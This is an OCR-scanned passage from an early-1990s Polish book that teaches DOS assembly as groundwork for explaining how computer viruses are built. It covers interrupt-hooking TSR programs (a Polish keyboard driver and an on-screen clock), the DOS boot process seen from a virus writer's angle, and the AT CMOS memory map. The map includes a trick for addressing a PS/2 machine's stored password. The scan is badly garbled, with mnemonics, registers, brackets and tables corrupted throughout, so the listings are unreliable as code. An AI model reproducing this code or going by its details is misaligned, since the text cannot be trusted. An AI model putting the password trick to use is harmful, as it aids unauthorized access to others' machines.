próbuj go uruchamiać bo spowoduje na pewno zawieszenie się systemu) start: MOV AX , C S MOV DS , AX ADD ADD AX ,1 OH MOV ES , AX PUSH AX MOV SI,OFFSET START MOV DI , SI PUSH S I MOV CX, IOFFSET KONIECţ - IOFFSET START , "F"'ţ r CLD REP MOVSB RETF koniec: 23 11. Przechwytywanie przerwań Ponieważ programy pisane w assemblerze stosuje się głównie do tworzenia wfasnych procedur obsługi przerwari, chciałbym przedstawić Ci jeden z takich programów. Przechwytuje on przerwanie klawiatury, tak aby wprowadzane z niej również były polskie znaki w standardzie Mazovii. Małe polskie znaki osiagalne sš poprzez naciœnięcie lewego klawisza ALT i litery, natomiast wielkie polskie litery poprzez naciœnięcie Shift (Zapalenie Caps Lock), lewego ALT i litery. Prawy ALT ma znaczenie takie jak standardowo i może być wykorzystywany na przykład przy korzystaniu z Menu niektórych programów. Wszystkie instrukcję powinny być Ci już znane, wyjaœnienia może wymagać najwyżej dyrektywa DOSSEG, informuje ona program konsolidujšcy, że segmenty majš być sortowane według konwencji ustalonej przez firmę MICROSOFT. Nie ma ona praktycznego znaczenia z Twojego punktu widzenia, ważne tylko była umieszczona na poczštku programu. Resztę szczegółów technicznych znajdziesz w pištej częœci ksišżki , Program Keyboard Andrzej Dudek Pazdziernik 1992 Program przechwytuţe przerwanie klawiaturţ 16H i obsuguje , klawiature z polskimi literami. Polskie litery sa otrzymywane: , mala litera - lewy alt + litera wielka litera - lewy alt + shift + litera lub lewy alt + litera przy zapalonym CAPS LOCK-u Program moze nie chodzic dla starszego tţrpu klawiatur. Jest to ; , zwiazane z tţrm iz niektore klawiatury nie odrozniaja lewego i ; praweţo klawisza ALT. W takim wypadku parametr alt nalezy zmienic na O8H Program mozesz dowolnie rozpowszechniac i modyfikowac. Wszelkie; zmiany powinny byc jednak zaznaczone w tym miejscu. DOSSEG .MODEL Tiny .STACK 30H .DATA Alt EQU 0200H jesli program ma reagowac na lewy i prawy alt, to stala ta powinna miec wartosc 08H ţ patrz opis zmiennej systemowej 0:417H Klawisz F1 EQU 68Hţ Kod klawisza po nacisnieciu ktorego program 5ie T cleaktywuj e ( normalnie F1 ) Nrţprzerwania EQU 16H Kodyţalt DB 30 46 18,38,49,24,31,44,45,123 Kodyţmale DB 134,141,145,146,164,162,158,167,166,155 Kodyţduze DB 143,149,144,156 165,163,152,161,160,155 Komunikatl DB ' Program Keyboard jest juz w pamieci. ',13,10,'$' Komunikat2 DB ' Program Keyboard zainstalowany. ,13,10,'$' Komunikat3 DB 'Uzycie: lewy alt + litera = mala litera ' ,13,10,'$' , Komunikat4 DB 'lewy alt + shift + litera = duza litera ',13,10,'$' Komunikat5 DB ' Deaktywacja alt+shift+F1. ,13,10,'$' Adresţprzerwania DD (?) Identyfikator 1 DW (?) Identyfƒkator 2 DW (?) .CODE Przerwanie: CLI CMP AH , 01 JE Ah rowne_1 JL Ati_rowne_0 CMP AH 1 OH JE Ah_rowne_0 CMP AH 11H JE Ah rowne_1 JMP CS:FAR[Adresţprzerwania+2] 24 Ah rowne_1: PUSHF CALL CS:FAR[Adresţprzerwania+2] , CLI ţ` PUSHF JNZ Cosţjest JMP Koniecţprzerwania Cosţjest: CALL Nacisnietyţlewyţalt JZ Koniecţprzerwania CALL Zapalonyţ Caps JNZ @ 1 _ JMP Ma 1 e 1 i t ery Ah_rowne_0: PUSHF CALL CS:FAR[Adresţprzerwania+2] CLI PUSHF CALL Nacisnietyţlewyţalt JZ Koniecţprzerwania CALL Zapalonyţcaps JNZ @ 1 JMP Male litery @1ţ CMP AH,Klawisz_F1 , Sprawdzenie, czy nacisnieta jest JNZ Wielkieţlitery ; kombinacja alt + shift (CAPS) +F1 PUSH AX , jesli tak, to usuniecie programu PUSH DX , z pamiec i PUSH BX PUSH DS PUSH ES MOV AH 6 2 H INT 2l Ii Zapamietanie identyfikatora processu MOV AX,CS biezacego i odtworzenie identţrfikatora MOV DS AX zapamietanego przy instalowaniu programu. MOV Identyfikator 2,BX MOV BX,Identyfikatorţl MOV AH 5 OH INT 21H MOV AX , CS MOV ES , AX ;ţ* MOV AX,WORD PTR ES:Adresţprzerwania[2) MOV DS , AX MOV DX,WORD PTR ES:[Adresţprzerwania) MOV AH,25H MOV AL,Nrţprzerwania INT 2 lh MOV AX , C S SUB AX,l OH MOV ES , AX MOV AH,49H INT 21H MOV AX , C S MOV DS , AX MOV BX,Identyfikator 2; Odtworzenie identyfikatora MOV AH,50H aktualnie wykonywanego INT 21H , processu . POP ES POP DS POP BX ţ '? POP DX POP AX JMP Koniecţprzerwania Wielkie_literţr : CALL Wielkie literyţ>roc JMP Koniecţprzerwania Male litery: CALL Male_literyţproc Koniecţprzerwania: POPF STI RETF 0 2 Zeruje znacznik Z jesli lewy alt jest nacisniety, w przeciwnym wypadku Z jest ustawiany Nacisnietyţlewyţalt: 25 PUSH AX PUSH BX PUSH DS MOV AX , 0 MOV DS , AX MOV BX,417H MOV AX , C BX ) AND AX,ALT POP DS POP BX POP RET Procedura zeruje znacznik Z przy zapalonym CAPS LOCK-u lub wcisnietym klawiszu SHIFT. W przeciwnym wypadku Z jest ustawiany Zapalonyţcaps: PUSH AX PUSH BX PUSH DS MOV AX , 0 MOV DS , AX MOV BX,417H MOV AX,CBX) PUSH AX AND AX,40H JNZ CAPS STATE POP AX AND AX , 3 H JMP END c ap s CAPS STATE: Pop AX AND AX , 3 H JZ @2 CMP AX AX , Ustawienie znacznika Z w przypadku gdy JMP END CAPS rownoczesnie jest nacisniety SHIFT @2: , i zapalony CAPS LOCK. ' MOV AX ,1 CMP AX , 0 END CAPS : POP DS POP BX POP AX RET Procedura zamienia wielkie litery, przy nacisnietym klawiszu ALT na polskie litery im odpowiadajace. Wielkieţliteryţproc: PUSH DS PUSH ES PUSH SI PUSH DI PUSH BX PUSH CX MOV BX , AX MOV CX ,10 MOV AX , C S MOV DS , AX MOV AX , BX @3 : MOV S I , CX CMP AH,Kodyţalt(SI-1] JE Zamianaţliteryţw LOOPNE @3 MOV AX , BX JMP Koniec_w Zamianaţliteryţw: MOV AL,Kodyţduze[si-1] MOV AH , 0 Koniec_w: POP CX POP BX POP DI POP SI POP ES POP DS RET , Procedura zamienia male litery, przy nacisnietym klawiszu ALT na ; polskie litery im odpowiadajace. Male literyţproc: PUSfi DS PUSH ES PUSH SI . ‚ ` PUSH DI PUSH BX PUSH CX MOV BX , AX MOV CX ,10 MOV AX , C S MOV DS , AX MOV AX , BX @4: MOV S I , CX CMP AH,Kody alt[SI-1) JE Zamianaţliteryţm LOOPNE @4 MOV AX , BX JMP Koniec_m Zamiana_litery_mţ MOV AL,Kody male[SI-1] MOV AH , 0 Koniec_m: POP CX POP BX POP DI POP SI POP ES POP DS RET Pisz: MOV AH , 9 INT 21H RET Wlasciwa instalacja programu program: MOV AH,35H MOV AL,Nrţprzerwania INT 21H MOV DI , BX MOV AX,SEG Przerwanie MOV DS , AX MOV SI,OFFSET Przerwanie MOV CX,Program-Przerwanie-1 CLD REP CMPSB JE Program wţpamieci CLI MOV WORD PTR [Adresţprzerwania],BX MOV AX , ES MOV WORD PTR Adresţrzerwania(2),AX MOV AX,SEG Przerwanie MOV DS , AX MOV DX,OFFSET Przerwanie MOV AH,25H MOV AL,Nrţprzerwania INT 21h MOV DX,OFFSET Komunikat2 CALL P i s z MOV DX,OFFSET Komunikat3 CALL P i s z MOV DX,OFFSET Komunikat4 CALL P i s z MOV DX,OFFSET Komunikat5 CALL P i s z MOV AX,@CODE SUB AX,l OH MOV DS , AX MOV BX,2CH MOV AX,[BX] Zwolnienie pamieci zajmowanej przez MOV ES,AX srodowisko proţramu. Adres sagmentu MOV AH,49H srodowiska znaţduje sie pod offsetem INT 21H , 2CH przedrostka PSP. MOV AH,62H 27 INT 21H , Zapamietanie identyfikatora procesu MOV AX,@DATA Funkcja ta jest nieudokumentowana, MOV DS AX ale korzystaja z niej praktycznie MOV Identyfikatorţl,BX; wszystkie TSR - y STI MOV DX,OFFSET Identyfikator 2ů Wyznaczenie w rejestrze DX liczby MOV CL,4 paragrafow (l OH b) pamieci potrzebnych SHR DX,CL , czesci rezydentnej programu (+10H - PSP) ADD DX,11H , i zakonczenie pracţ czesci instalacyjnej MOV AX,3103H przy pomocy funkcţi systemowej 31H INT 21H (Dane sa w pamieci za kodem, wiec , Identyfikatorţ2 to ostatni adres programu). Program wţpamieci: MOV AX,@DATA MOV DS , AX MOV DX,OFFSET Komunikatl CALL Pisz MOV DX,OFFSET Komunikat3 CALL P i s z MOV DX,OFFSET Komunikat4 CALL P i s z MOV DX,OFFSET Komunikat5 CALL Pisz MOV AH,4CH INT 21H END Program Drugi program przechwytuje przerwanie zegarowe uży(kownika (1 CH) i wyœwietla w prawym górnym rogu ekranu zegar Program Timer Andrzej Dudek Wrzesien 1992 Program przechwytuje przerwanie zegarowe uzytkownika 1CH i , wyswietla w prawym gornym rogu ekranu zegar w postaci gg:mm:ss ; Program dziala dla kom uterow posiadajacych Ze ar Czasu Rzeczywistego RTC (AT,ţ86,486) oraz majacych ţarte ktorej pamiec ekranu zaczyna sie pod adresem 0B000:0000(VGŽ,EGA, ; ; Hercules). Dla kart niestandardowych nalezy ustawic; parametry ; Pierwszyţekran i Drugi ekran tak aby wskazywaly na segmenty , , pamieci obrazu w trybie tekstowym. Proţram sprawdza czy jego poprzednie wywolanie nie jest juz w ; ţamieci. Jezeli tak ţest, to drukuje odpowiedni komunikat i nie; instaluje sie. Deaktywacja programu nastepuje po nacisnieciu kombinacji klawiszy: CTRL + lewy SHIFT + prawy SHIFT Program mozesz dowolnie rozpowszechniac i modyfikowac. Wszelkie; zmiany powinny byc jednak zaznaczone w tym miejscu: DOSSEG .MODEL TINY .STACK 28H .DATA Nrţprzerwania EQU 1CH Przerwanie zegarowe uzytkownika Pierwsz _ekrań EQU OBOOOH Segmenty adresow pamieci Drugiţe ran EQU 0B800H , obrazu. Atrybut EQU 70H , Atrybuty zegara. Klawisze EQU 07 , Kombinacja klawiszy usuwajacych , program (p. opis zmiennej 0:417). Komunikatl DB ' Zegar jest ţuz w pamieci ,13,10,'$' Komunikat2 DB ' Zeţar zainstalowany ,13,10,;$; Komunikat3 DB 'Usuniecie - CTRL+SHIFT+SHIFT',13,10, Licznik DB 0 Zmienna sluzaca do okreslenia kiedy miedzy liczbami ţ owinny byc wyswietlane dwukropki a kiedy spacje Zegar DB "22:22:ţ2" Tekst do wyswietlenia na ‚kranie Identyfikator 1 DW (?) Identyfikator 2 DW (?) Adresţprzerwańia DD (?) .code ţnllasciwa procedura obslugi przerwania Óbslugaţprzerwania: CLI CALL Glyswietlanie CALL Usuniecie STI IRET Procedura zamienia pare cyfr zapisanych w kodzie BCD znajdujacych sie w BH na pare znakow odpowiadajacych tym cyfrom. Znaki sa zwracane w rejestrach AH,AL HEX2ASCII: PUSH CX MOV CL , 4 MOV AL , BH MOV AH , BH AND AL,OFH ADD AL,30H MOV CL , 4 SHR AH , CL AND AH,OFH ADD AH,30H POP CX RET Procedura pobiera aktualny czas z przewania l AH funkcja 06H, ustawia na jego podstawie lancuch zegar, a nastepnie wyswietla go na ekranie. 1Vyswietlanie : PUSH ES PUSH DS PUSH AX PUSH BX PUSH CX PUSH DX MOV AX , C S MOV DS , AX MOV AH,02H INT lAH JC @ 1 MOV BH , CH CALL HEX2ASCII MOV Zegar[0],AH MOV Zegar[1],AL MOV BH , CL CALL HEX2ASCII MOV Zegar[3],AH MOV Zegar[4),AL MOV BH , DH CALL HEX2ASCII MOV Zegar[6],AH MOV Zegar[7),AH MOV AH,Licznik INC AH ; MOV Licznik,AH AND AH,l OH JNZ Dwukropki MOV Zegar(2],20H MOV Zegar[5],20H JMP @ 1 Dwukropki: MOV Zegar[2),3AH MOV Zegar[5),3AH @l: CALL tnTyswietl POP DX POP CX POP BX POP AX POP DS POP ES RET 29 Procedura wylwietla zawartosc lancucha zegar w prawym gornym rogu ekranu. Wyswietl: MOV AX,Pierwszyţekran CALL Ekran MOV AX,Drugiţekran CALL Ekran RET Ekran: MOV ES , AX MOV CX , 8 Petla: MOV BX , CX DEC BX MOV DL,Zegar[BX) ADD BX , BX MOV ES:[BX] DL , Jesli zegar mialby byc wyswietlony nie MOV DL,Atrybut , w prawym gornym rogu ekranu, ale zaczynajac MOV ES:[BX+1),DL ; od punktu o wspolrzednych i j (024 LOOP Petla , 079) to nalezalo by zastosowac wzor RET , adres znaku = Poczatek obrazu+160*i+2*j , adres ƒtrybutu = Poczat‚k obrazu+160*i+2*j+1 Procedura s rawdza czy nie zostala nacisnieta odpowiednia kombinacţa lawiszy, a jesli tak to przywraca pierwotna obsluge przerwania 1CH Usuniecie: PUSH ES PUSH DS PUSH AX PUSH BX PUSH DX XOR AX MOV ES , AX MOV BX,0417H MOV AH,BYTE PTR ES:[BX) , Zmienna 0:417 okresla stan klawiatury AND AH,Klawisze , pƒtrz opis zmiennych systemowych CMP AH,Klawisze JE Do_usuniecia JMP Koniec_usuwania Do_usuniecia: CLI MOV AH,62H INT 21H Zapamietanie identyfikatora processu MOV AX,CS biezacego i odtworzenie identyfikatora MOV DS AX zapamietanego przy instalowaniu MOV Identyfikator 2,BX , programu. MOV BX,Identyfikatorţl MOV AH,50H INT 21H MOV AX , C S MOV ES , AX MOV AX,ES:WORD PTR Adresţprzerwania[2] MOV DS , AX MOV DX,ES:WORD PTR [Adresţprzerwania) MOV AL,Nrţprzerwania MOV AH,25H INT 21H MOV AX , C S SUB AX ,1 Ofi MOV ES , AX MOV AH,49H INT 21H , Zapamietanie identyfikatora processu MOV AX,CS biezacego i odtworzenie identyfikatora MOV DS AX zapamietanego przy instalowaniu MOV Identyfikator 2,BX , programu. MOV BX,Identyfikator 1 MOV AH,50H INT 21H STI MOV AX , CS MOV ES , AX MOV CX , 8 Petlal: MOV BX , CX 30 MOV Zegar(BX-1],20H LOOP Petlal CALL Wyswietl Koniec_usuwania: POP DX ţ POP BX POP AX POP DS POP ES RET Czesc instalacyjna Instalacja: MOV AH,35H MOV AL,Nrţprzerwania INT 21H MOV DI , BX MOV AX,SEG Obslugaţprzerwania MOV DS , AX MOV SI,OFFSET Obslugaţprzerwania MOV CX,Instalacja-Obsluga-przerwania-1 CLD REP CMPSB JE juz wţpamieci CLI MOV WORD PTR [Adresţprzerwania),BX MOV AX , E S MOV WORD PTR Adresţprzerwania[2],AX MOV AX,SEG Obslugaţprzerwania MOV DS , AX MOV DX,OFFSET Obslugaţprzerwania MOV AH,25H MOV AL,Nrţprzerwania INT 21h MOV AX,@CODE SUB AX,10H MOV DS , AX MOV BX , 2 CH ů MOV AX,[BX] Zwolnienie pamieci zajmowanej przez MOV ES,AX , srodowisko programu. Adres segmentu MOV AH,49H , srodowiska znaţduje sie pod offsetem INT 21H , 2CH przedrostka PSP. ţ:* MOV AH 6 2 H INT 21ft , Zapamietanie identţfikatora processu MOV AX,@DATA , Funkcja ta jest nieudokumentowana, _ MOV DS,AX ale korzystaja z niej praktycznie MOV Identyfikatorl,BX , wszystkie TSR - y STI MOV AX,SEG Komunikat2 MOV DS , AX r MOV DX,OFFSET Komunikat2 MOV AH , 9 INT 21H MOV AX,SEG Komunikat3 MOV DS , AX MOV DX,OFFSET Komunikat3 MOV AH , 9 INT 21H MOV DX,OFFSET Adresţprzerwania-1 Obliczenie liczby MOV CL,4 ;paragrafow (l OH bajtów) potrzebnych czesci SHR DX,CL ;rezydentnej proţramu (10H paragrafow na ADD DX,11H ;PSP), zakonczenie pracy czesci MOV AX,3103H ;instalacyjnej i pozostawienie INT 21H ;w pamieci czesci ;rezydentnej (funkcja syst. 31H) Juz_wţpamieci: MOV AX,SEG Komunikatl Jesli przerwanie zegarowe MOV DS,AX , jest juz przechwycone MOV DX,OFFSET Komunikatl , to wydrukowanie komunikatu MOV AH,9 , i zakonczenie pracy w sposob INT 21H , normalny (funkcja 4CH). MOV AX,SEG Komunikat3 MOV DS , AX MOV DX,OFFSET Komunikat3 MOV AH , 9 INT 21H 31 MOV AH,4CH INT 21H END Instalacja 12. Podróż do wnętrza systemu W tym momencie koriczymy nasz krótki kurs assemblera. Zdaję sobie sprawę, że był to tylko pobieżny przeglšd niektórych rozkazów, ale instrukcje poznane do tej pory wystarczš Ci do zrozumienia dalszych częœci ksišżki. Objaœnienie działania pozostałych rozkazów znajduje się w częœci pištej ksišżki. Zachęcam również do sięgnięeia po inne, bardziej szczególowe lektury dotyczšce tego tematu. Zanim przystšpisz do tego, po co kupiłeœ tę ksišżkę, czyli do czytania o budowie wirusa musiszjeszcze trochę się pomęczyć. Chciałbym, abyœ zapoznał się z wnętrzem swojego komputera, a właœciwie jego systemu operacyjnego. Wiadomoœci te sš naprawdę niezbędne aby zrozumieć następne rozdziały. Nie przejmuj się, sš to tylko najprostsze informacje. Nie staraj się zapamiętać wszystkiego. Chodzi mi o to, abyœ miał pewne pojęeie o tym, o czym będziemy póŸniej rozmawiać, a po szczegóły zawsze będziesz mógł wrócić. Jeœli natomiast jesteœ starym wyjadaczem komputerowym i wiadomoœci, które tu znajdziesz będšdla Clebie zbyţ oczywiste, to sięgnij po rozdział pišty, gdzie możesz otrzymać dużo więcej konkretnych informacji. Start systemu Pewnie wiele razy po włšczeniu komputera odczuwałeœ złoœć czekajšc po włšczeniu komputera, aż zacznie on przyjmować Twoje polecenia. Niestety ma on do wykonania w tym czasie tyle czynnoœci, że nie może to trwać krócej. Pierwsze, co musi zrobić, to sprawdzić czy nie występujš fizyczne uszkodzenia żadnej z częœci komputera. Ten etap nazywa się POST (Power On Self Test - Test wewnętrzny po włšczeniu zasilania). Testowanie odbywa się najczęœciej poprzez zapisywanie jakichœ wartoœci do pamięci lub portów wejœcia/ wyjœcia, a następnie ich odczytywanie. Jeœli wartoœE zapisana i odczytana nie jest taka sama œwiadczy to najczęœciej o błędzie pamięci lub urzšdzenia dołaczonego przez port. Przykładowo testowanie klawiatury odbywa się przez wpisanie do portu 64H (patrz opis portów klawiatury AT) wartoœci OEEH, a następnie odczytaniu wartoœci z tego portu i porównaniu tych liczb. Podczas POST sprawdzana jest również aktualna konfiguracja komputera. W XT-kach na podstawie ustawienia przelšcz- ników, a w nowszych typach na podstawie zawartoœci pamięci CMOS. Ponadto w komputerach powyżej AT można zmieniać konfigurację (najczęœciej program SETUP) , testować poprawnoœć (nie tylko sprawdzać czy działajš, ale również np szukać uszkodzonych sektorów) dysku twardego, stacji dyskietek , karty graficznej, itd, oraz dokonać nisko-poziomowego formato- wania dysku twardego (Nazwa tego programu może być różna w zależnoœci od typu komputera - w moim nazywa się DIAGNOSE). Te wszystkie czynnoœci sš wykonywane przez BIOS znajdujšcy się w pamięci stałej (ROM). Po pomyœlnym zdaniu testu sterowanie jest oddawane systemowi operacyjnemu. Odbywa się to w kilku krokach. W pierwszym sektorze logicznym (tzn bloku ładujšcym - œcieżka 0 głowica 0 sektor 1 ) dyskietki znajduje się krótki program odpowiedzialny za wczytanie systemu. W pierwszym sektorze dysku twardego (tablica partycji) znajdujš się informacje o podziale dysku twardego na strefy i program wczyţujšcy blok ładujacy strefy z systemem operacyjnym. Po wykonaniu POST, BIOS wywofuje przenvanie 19H, próbujšc wczyta‚ pierwszy sektor dyskietki pod adres 0:7COOH, jeœli próba zawiedzie (np. brak dyskietki w napędzie), to próbuje wczytać pierwszy sektor dysku twardego, jeœli i to zawiedzie, wywofywane jest przerwanie 18H. W oryginalnym IBM PC przerwanie to uruchamia interpreter BASIC-a z pamięci stałej. W klonach przerwanie wypisuje komunikat o braku dyskietki systemowej i czeka na naciœnięcie dowolnego klawŒsza. Po pomyœlnym wczytaniu pierwszego sektora dysku lub dyskietki sterowanie jest oddawane do programu tadujšcego (poprzez instrukcję FAR JUMP G:7COOH).Progţam ten wczytuje dwa pliki IO.SYS i MSDOS.SYS (w różnych wersjach systemu te zbiory mogš się różnie nazywać), zawierajšce programy obsługi podstawowych urzšdzeri zewnętrznych, takich jak dysk twardy, czy konsola użytkownika. Jeœli podczas wczytywţnia tych zbiorów wystšpi jakiœ bład (np dyskietka nie była sformatowana jako systemowa i nie zawiera tych plików), to program ładujšcy wyœwietla odpowiedni komunikat i prosi o wymianę dyskietki. Po załadowaniu tych plików wczytywana jest rezydentna częœć procesora poleceń COMMAND.COM. Ta częœć jest odpowiedzialna za obsługę błędów i sytuacji krytycznych oraz przerwań 22H 23H 24H. Następnie wykonywane sš polecenia użyłkownika zawarte w plikach CONFIG.SYS i AUTOEXEC.BAT. W pliku CONFIG.SYS mogš znaleŸ‚ się polecenia, takie jak wybór trybu wyœwietlania czasu i daty w zależnoœci od kraju, czy załadowania programów obsługi nietypowych urzšdzeń zewnetrznych (np. dysk wirtualny, czy program obsługi górnej pamięci). Plik AUTOEXEC.BAT zawiera polecenia systemu operacyjnego. Oba pliki sš Ci na pewno bardzo dobrze znane i nie ma sensu w tym miejscu zatrzymywać się dłużej nad nimi. Jeœli jednak nie znasz jeszcze dokładnie ich działania, to odsyłam do ksišżek poœwięconym podstawom systemu MS-DOS. Ostatni element startu systemu, to wczytanie częœci przenoœnej procesora COMMAND.COM. Ta częœć odpowiada za obsługę wszysłkich pleceń wewnętrznych systemu (COPY, DIR, itd) oraz przyjmowanie poleceń użylkownika; to ona wypisuje znajomy symbol C:> Dokładny sposób przechwycenia programu ładujšcego będzie opisany w następnym rozdziale. W tym miejscu chciałbym Ci zwrócić uwagę na kilka szczegółów: Z punktu widzenia wirusolog, słaboœciš tej metody wczytywania systemu jest korzystanie z systemowego programu ładujšcego, znajdujšcego się na dyskietce. Gdyby ten program umieœcić w pamięci stałej komputera, to nie było by możliwoœci jego zmiany, a tym samym nie mógłby do niego doczepić się żaden wirus. Wydawałoby się więc że takie rozwiazanie radykalnie zmniejszyłoby możliwoœci rozmnażania się wirusów. Niestety w tym wypadku lekarstwo okazałoby się gorsze od choroby, bowiem uniemożliwiłoby to wczytywanie jakichkolwiek innych systemów operacyjnych poza MS-DOS-em (a nawet jego nowszych wersji ). W obecnej sytuacji natomiast nie tylko możliwe jest jesł korzystanie z systemów takich jak UNIX, ale ţ wręcz równoczesne istnienie na dysku twardym kilku stref sformatowanych w różnych systemach. Można więc powiedzieć, że cenš płaconš, za tš uniwersalnoœć sš właœnie wirusy. Myœlę natomiast, że w przyszłych komputerach będš istniał mechanizmy ochrony bloków ładujšcych i nie będzie można ich zmieniać bez zgody i wiedzy systemu operacyjnego. W ten sposób działanie wirusów ulegnie ograniczeniu. 13. Pamięć CMOS Komputery klasy AT posiadajš zasilany z bater zegar czasu rzeczywistego i 64 bajty niekasowalnej pamięci. Pamięć ta zawiera wiele informacji takich jak aktualny czas, data i informacje o konfiguracji komputera. Jeœli podczas POST zobaczysz napis nRun Setup" będzie to oznaczało, iż aktualna konfiguracja komputera nie odpowiada tej zapamiętanej w CMOS, i że należy skorygować tš sytuację. Odwolania do pamięci CMOS odbywajš się w sposób następujšcy. Najpierw do portu 70h wysytamy adres w pamięci, z którego chcemy korzystać, następnie z portu 71h możemy odczyfać wartoœć tej komóţi lub wpisać nowš wartoœć. Przykładowo, jeœli w Twoim programie chciałbyœ sprawdzać jaki typ dysku twardego jest zainstalowany w Twoim komputerze, powinieneœ umieœcić w nim następujšce instrukcje: mov al 12H out 70H,a1 ;Wybiera adres CMOS 12h jmp $+2 ;ta instrukcja nie ma zadnego znaczenia ;poza opoznieniem in a1,71H ;AL zawiera teraz typ dysku twardego. Adresy od 1 Oh do 20h sš chronione przez wartoœć kontrolnš znajdujšcš się w komórkach 2eh i 2fh. Znajduje się tam 16-bitowa suma wszystkich chronionych bajtów. Jeœli więc chciałbyœ zmienić zawartoœć którejœ z tych komórek to musiałbyœ na nowo policzyć sumę kontrolnš i zapisaćjej nowš wartoœć. W przeciwnym wypadku, podczas następnego startu komputera musiałbyœ na nowo ustawiać konfigurację. Zanim zarzniemy szczegóbowy opistej pamięci, należy Ci sięjeszcze pewna informaqa. Olóżbędęwopisie ţskrótu BCD. Omacza on specjalny sposób zapisu liczb. Jest to tryb mieszany dwójkowo-dziesiętny. W bajcie zapamiętuje się dwucyfrowš liczbę dziesiętnšprzeznaczajšc pierwsze cztery bity na pierwszšcyfrę, następne cztery bity na drugš. Przykładowo zapis 01111001 oznacza liczbę 79, zapis 00110101 liczbę 35. Zapis 11001 O10 jest tym kodzie niepoprawny. Teraz mogę Ci już przedstawić znaczenie poszczególnych komórek pamięei CMOS. Adres Opis 0 aktualna sekunda zegara czasu rzeczywistego (RTC) w kodzie BCD. 1 sekunda ustawienia budzika w kodzie BCD 2 aklualna minuta RTC w BCD 3 minuta ustawienia budzika w BCD aktualna godzina RTC w BCD 5 godzina ustawienia budzika w BCD 6 dzieri tygodnia (1=niedziela 2=poniedziałek itd.) 7 dzieri miesišca w BCD 8 miesišc w BCD 9 rok w BCD (ostatnie dwie cytry) Oah RTC rejestr stanu A 7 6 5 4 3 2 1 0 I T wybEr fempa (uslawiony na O110) 22-stanowy dzielnik częstolliwoœci (ustawiony na 010) Trwa aktualizacja (UIP). 0 oznacza że można czytaE. Obh RTC rejestr stanu B 7 6 5 4 3 2 1 0 Czas lelni. 0=czas standardowy (ustawiony na 0) 0=Iryb 12 godzinny zegara (ustawiony na 1 ) 1=dane zapisywane dwójkowo, 0=BCD. (ustawiony na 0) 1=Włacza tale prosle. (ustawiony na 0) 1=Umożliwia przerwanie po aktualizacji(ustawiony na 0) 1=Umożliwia przerwanie budzika. (uslawiony na 0) i; 1=Umożliwia pnerwania co stały okres (ustawiony na 0) i. Trwa aktualizacja (UIP) . 0 = można czylaE CMOS. 0ch RTC rejestr stanu C. Tylko do odczytu- bity stanu przerwari Odh RTC rejestr stanu D.Bit 7 =1 kiedy CMOS-RAM ma zasilanie = 0 baterie sš wyczerpane. Oeh bajt stanu ustawiany przez POST. 7 6 5 4 3 2 1 0 poprawnoœE czasu (1=nie jest dzisiaj 30 lutego) 1=Zly dysk twardy, nie można z niego wystartowaE systemu Niewlaœciwy rozmiar RAM.1= POST znalazł inny rozmiar 1=Nie zgadza się kontiguracja 1=Nie zgadza się suma konlrdna CMOS-u 1=Wysiadla bateda zegara Ofh Powód wyłšczenia. Przed POST ten bajt jest sprawdzany by okreœlić wjaki sposób komputer restartował. BIOS sprawdza, czy restart nastšpił aby opuœcić tryb wirtualny procesora 80286. Znaczenie poszczególnych wartoœci jest następujšce: 0 - Goršcy restart (Trzech Króli - AII Ctrl Del). Opuœć POST 1 - Wyfšczenie po okreœleniu wielkoœci pamięci 2 - Wyłšczenie po wykonaniu testu pamięci 3 - Wyłšczenie po bfędzie parzystoœci pamięci 4 - Restart na żšdanie BOOTtrap loadera ,F 34 5 - Zimny restart programowy (wyzerowanie kontrolera przerwari i FAR JMP 0:[467h] 6,7 8 - Restart po teœcie pracy wirtualnej 9 - Restart po wykonaniu przesłania bloku w trybie wirtualnym OaH - Zimny restart programowy (FAR JMP 0:[467h] 10h Typ stacji dysków w systemie. : ţ , 7 6 5 4 3 2 1 0 Pierwszy napęd Dmgi napęd 0000 = Oh = nie zainslalowany, 0001=1 h = 360K8 0010=2h=1.2M 5,00tt=3h=t.44 M 11h zarezerwowane 12h Typ dysku twardego (dla dysków C: i D: jeœli ich typ mieœci się pomiędzy 1 i 14 , w przeeiw- nym wypadku - patrz komórki 19h 1 ah) 7 6 5 4 3 2 1 0 Pierwszy dysk twardy (napęd C:) Drugi dysk twardy (napęd D:) 0000 = brak, t t t t = typ znajduje się w 19hl1 ah "ţ;:ţ pozostałe=lyp dysku. Znaczenie typu dysku jest wyjaœniene przy opisie komórek 19h,1 ah 13h zarezerwowane 14h Bajt wyposażenia komputera. 1= Napęd(y) dyskietek zainstalowany 1= Koprocesor malemalyczny 80287 zainslalowany pierwotny typ obraz 00 = żaden lub EGA, 01= 40-kolumnowy CGA, 10 = 80*olumnowy CGA,11= TTL monochromatyczny Liczba stacji dysków w syslemie (0ţ1, 01=2,10=3,11=4) 15h Pamięć podstawowa RAM (dolny bajt) 0100H=256K8 ; 0200H=512K8 16h Pamięć podstawowa RAM (górny bajt) 0280H=640K8 17h Pamięć rozszerzona ponad 1 MB (dolny ba)t) (W Kilo Bajtach. 0-3c00 H) 18h Pamięć rozszerzona ponad 1MB (górny bajt) 19h Typ dysku twardego 0 (napęd C:) jeœli większy niż 14 (patrz komórka 12h) 1ah Typ dysku twardego 1 (napęd D:) jeœli większy niż 14 (patrz komórka 12h) BIOS standartowo rozróżnia następujšce rodzaje dysków twardych (Pieiwszy tc dysk twardy oryginalnego XT): ţyp Cyl Głow Prekomp Strf Rozmiar Typ __Cyl Głow Prekomp. Strf Romiar _ ţA 1 4 128 1 M _ 1ţ 1 4 Qţ 21M 2 1 _ 4 0 21M _ 17 77 4 M 61 ţţQQ 1 2M 18 977 7 OtfffH 977 59N1ţţţ 'h . ţ' -r 'ţţ ? tţ ţ 35 1 bh-2dh zarezerwowane 2eh suma kontrolna komórek 1 OH do 20H CMOS (górny bajt) 2fh suma kontrolna komórek 10H do 20H CMOS (dolny bajt) 30h Pamięć rozszerzona ponad 1MB (dolny bajt) (W KiloBajtach. 0-3c00H) 31 h Pamięć rozszerzona ponad 1 MB (górny bajt). Patrz funkcja 88h przerwania 15h 32h wiek w BCD (np, 21 H) 33h różne informacje. Bit 7=IBM 12BKB. Bit 6-używany przez "Setup" 34h-3fh wolne. W tym miejseu możesz się podpisaE, aby nadać swojemu AT-ekowi jakšœ cechę charakterystycznš tylko dla niego. W komputerach typu PS-2 w komórkach 38H - 3FH znajduje się hasło.Nie da się go w sposób bezpoœredni odczytać ani zmodyfikować. Można jednak komputer oszukać i adresować 78H - 7FH. Ponieważ adresy CMOS sš brane mo- dulo 64 (40H), więc będš one wskazywać na hasło. 14. Mapa pamięci Za chwilę zapoznasz się 